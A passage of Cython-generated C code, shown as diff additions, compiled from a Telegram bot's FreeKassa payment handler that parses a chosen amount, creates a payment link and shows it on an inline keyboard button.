*)__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection(__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 127, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13freekassa_pay_13generator3, __pyx_codeobj__9, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_amount_selection, __pyx_n_s_process_amount_selection, __pyx_n_s_handlers_payments_freekassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.freekassa_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_13generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + PyObject *__pyx_t_5 = NULL; + int __pyx_t_6; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + unsigned int __pyx_t_11; + int __pyx_t_12; + Py_ssize_t __pyx_t_13; + Py_UCS4 __pyx_t_14; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L12_resume_from_await; + case 2: goto __pyx_L13_resume_from_await; + case 3: goto __pyx_L15_resume_from_await; + case 4: goto __pyx_L16_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 127, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":131 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< + * amount_str = data[1] + * try: + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 131, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 131, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__10, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 131, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_data = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":132 + * ): + * data = callback_query.data.split("|", 1) + * amount_str = data[1] # <<<<<<<<<<<<<< + * try: + * amount = int(amount_str) + */ + __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 132, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":133 + * data = callback_query.data.split("|", 1) + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + { + __Pyx_ExceptionSave(&__pyx_t_3, &__pyx_t_4, &__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_4); + __Pyx_XGOTREF(__pyx_t_5); + /*try:*/ { + + /* "handlers/payments/freekassa_pay.py":134 + * amount_str = data[1] + * try: + * amount = int(amount_str) # <<<<<<<<<<<<<< + * except ValueError: + * await callback_query.message.answer(" .") + */ + __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 134, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":133 + * data = callback_query.data.split("|", 1) + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + } + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + goto __pyx_L9_try_end; + __pyx_L4_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":135 + * try: + * amount = int(amount_str) + * except ValueError: # <<<<<<<<<<<<<< + * await callback_query.message.answer(" .") + * return + */ + __pyx_t_6 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); + if (__pyx_t_6) { + __Pyx_AddTraceback("handlers.payments.freekassa_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_2, &__pyx_t_7) < 0) __PYX_ERR(0, 135, __pyx_L6_except_error) + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_7); + + /* "handlers/payments/freekassa_pay.py":136 + * amount = int(amount_str) + * except ValueError: + * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 136, __pyx_L6_except_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_answer); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 136, __pyx_L6_except_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = NULL; + __pyx_t_11 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_10))) { + __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_10); + if (likely(__pyx_t_9)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10); + __Pyx_INCREF(__pyx_t_9); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_10, function); + __pyx_t_11 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_9, __pyx_kp_u__11}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_10, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 136, __pyx_L6_except_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_8); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_t_4); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_4; + __Pyx_XGIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_5; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L12_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + __pyx_t_4 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_4); + __pyx_t_5 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_5); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_7); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 136, __pyx_L6_except_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 136, __pyx_L6_except_error) + } + } + + /* "handlers/payments/freekassa_pay.py":137 + * except ValueError: + * await callback_query.message.answer(" .") + * return # <<<<<<<<<<<<<< + * + * user_email = f"{callback_query.message.chat.id}@solo.net" + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + goto __pyx_L7_except_return; + } + goto __pyx_L6_except_error; + + /* "handlers/payments/freekassa_pay.py":133 + * data = callback_query.data.split("|", 1) + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + __pyx_L6_except_error:; + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_XGIVEREF(__pyx_t_4); + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_ExceptionReset(__pyx_t_3, __pyx_t_4, __pyx_t_5); + goto __pyx_L1_error; + __pyx_L7_except_return:; + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_XGIVEREF(__pyx_t_4); + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_ExceptionReset(__pyx_t_3, __pyx_t_4, __pyx_t_5); + goto __pyx_L0; + __pyx_L9_try_end:; + } + + /* "handlers/payments/freekassa_pay.py":139 + * return + * + * user_email = f"{callback_query.message.chat.id}@solo.net" # <<<<<<<<<<<<<< + * user_ip = callback_query.message.chat.id + * payment_url = await create_payment( + */ + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_chat); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_id); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_t_7, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_t_7 = __Pyx_PyUnicode_ConcatInPlace(__pyx_t_2, __pyx_kp_u_solo_net); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_v_user_email = ((PyObject*)__pyx_t_7); + __pyx_t_7 = 0; + + /* "handlers/payments/freekassa_pay.py":140 + * + * user_email = f"{callback_query.message.chat.id}@solo.net" + * user_ip = callback_query.message.chat.id # <<<<<<<<<<<<<< + * payment_url = await create_payment( + * callback_query.message.chat.id, amount, user_email, user_ip + */ + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 140, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_chat); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 140, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_id); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 140, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_v_user_ip = __pyx_t_7; + __pyx_t_7 = 0; + + /* "handlers/payments/freekassa_pay.py":141 + * user_email = f"{callback_query.message.chat.id}@solo.net" + * user_ip = callback_query.message.chat.id + * payment_url = await create_payment( # <<<<<<<<<<<<<< + * callback_query.message.chat.id, amount, user_email, user_ip + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_create_payment); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 141, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + + /* "handlers/payments/freekassa_pay.py":142 + * user_ip = callback_query.message.chat.id + * payment_url = await create_payment( + * callback_query.message.chat.id, amount, user_email, user_ip # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 142, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_chat); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 142, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 142, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_11 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_11 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[5] = {__pyx_t_8, __pyx_t_1, __pyx_cur_scope->__pyx_v_amount, __pyx_cur_scope->__pyx_v_user_email, __pyx_cur_scope->__pyx_v_user_ip}; + __pyx_t_7 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_11, 4+__pyx_t_11); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 141, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_7); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L13_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 141, __pyx_L1_error) + __pyx_t_7 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_7); + } else { + __pyx_t_7 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_7) < 0) __PYX_ERR(0, 141, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + } + __Pyx_GIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_v_payment_url = __pyx_t_7; + __pyx_t_7 = 0; + + /* "handlers/payments/freekassa_pay.py":145 + * ) + * + * if payment_url: # <<<<<<<<<<<<<< + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ + */ + __pyx_t_12 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_payment_url); if (unlikely((__pyx_t_12 < 0))) __PYX_ERR(0, 145, __pyx_L1_error) + if (__pyx_t_12) { + + /* "handlers/payments/freekassa_pay.py":146 + * + * if payment_url: + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [ + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 146, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + + /* "handlers/payments/freekassa_pay.py":147 + * if payment_url: + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [ + * InlineKeyboardButton( + */ + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + + /* "handlers/payments/freekassa_pay.py":149 + * inline_keyboard=[ + * [ + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=f" {amount} ", url=payment_url + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 149, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/freekassa_pay.py":150 + * [ + * InlineKeyboardButton( + * text=f" {amount} ", url=payment_url # <<<<<<<<<<<<<< + * ) + * ], + */ + __pyx_t_8 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_10 = PyTuple_New(3); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_13 = 0; + __pyx_t_14 = 127; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; + __pyx_t_13 += 9; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_kp_u__12); + __pyx_t_9 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_14 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) > __pyx_t_14) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) : __pyx_t_14; + __pyx_t_13 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_9); + __Pyx_GIVEREF(__pyx_t_9); + PyTuple_SET_ITEM(__pyx_t_10, 1, __pyx_t_9); + __pyx_t_9 = 0; + __Pyx_INCREF(__pyx_kp_u__13); + __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; + __pyx_t_13 += 7; + __Pyx_GIVEREF(__pyx_kp_u__13); + PyTuple_SET_ITEM(__pyx_t_10, 2, __pyx_kp_u__13); + __pyx_t_9 = __Pyx_PyUnicode_Join(__pyx_t_10, 3, __pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 150, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":149 + * inline_keyboard=[ + * [ + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=f" {amount} ", url=payment_url + * ) + */ + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 149, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/freekassa_pay.py":148 + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ + * [ # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=f" {amount} ", url=payment_url + */ + __pyx_t_8 = PyList_New(1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 148, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_GIVEREF(__pyx_t_9); + if (__Pyx_PyList_SET_ITEM(__pyx_t_8, 0, __pyx_t_9)) __PYX_ERR(0, 148, __pyx_L1_error); + __pyx_t_9 = 0; + + /* "handlers/payments/freekassa_pay.py":153 + * ) + * ], + * [InlineKeyboardButton(text=" ", callback_data="pay")], # <<<<<<<<<<<<<< + * ] + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 153, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 153, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__8) < 0) __PYX_ERR(0, 153, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 153, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 153, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 153, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_10); + if (__Pyx_PyList_SET_ITEM(__pyx_t_1, 0, __pyx_t_10)) __PYX_ERR(0, 153, __pyx_L1_error); + __pyx_t_10 = 0; + + /* "handlers/payments/freekassa_pay.py":147 + * if payment_url: + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [ + * InlineKeyboardButton( + */ + __pyx_t_10 = PyList_New(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_GIVEREF(__pyx_t_8); + if (__Pyx_PyList_SET_ITEM(__pyx_t_10, 0, __pyx_t_8)) __PYX_ERR(0, 147, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_1); + if (__Pyx_PyList_SET_ITEM(__pyx_t_10, 1, __pyx_t_1)) __PYX_ERR(0, 147, __pyx_L1_error); + __pyx_t_8 = 0; + __pyx_t_1 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_inline_keyboard, __pyx_t_10) < 0) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/freekassa_pay.py":146 + * + * if payment_url: + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [ + */ + __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 146, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_v_confirm_keyboard = __pyx_t_10; + __pyx_t_10 = 0; + + /* "handlers/payments/freekassa_pay.py":157 + * ) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * f" {amount} . :", + * reply_markup=confirm_keyboard, + */ + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 157, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 157, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/freekassa_pay.py":158 + * + * await callback_query.message.answer( + * f" {amount} . :", # <<<<<<<<<<<<<< + * reply_markup=confirm_keyboard, + * ) + */ + __pyx_t_10 = PyTuple_New(3); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_13 = 0; + __pyx_t_14 = 127; + __Pyx_INCREF(__pyx_kp_u__14); + __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; + __pyx_t_13 += 21; + __Pyx_GIVEREF(__pyx_kp_u__14); + PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_kp_u__14); + __pyx_t_7 = 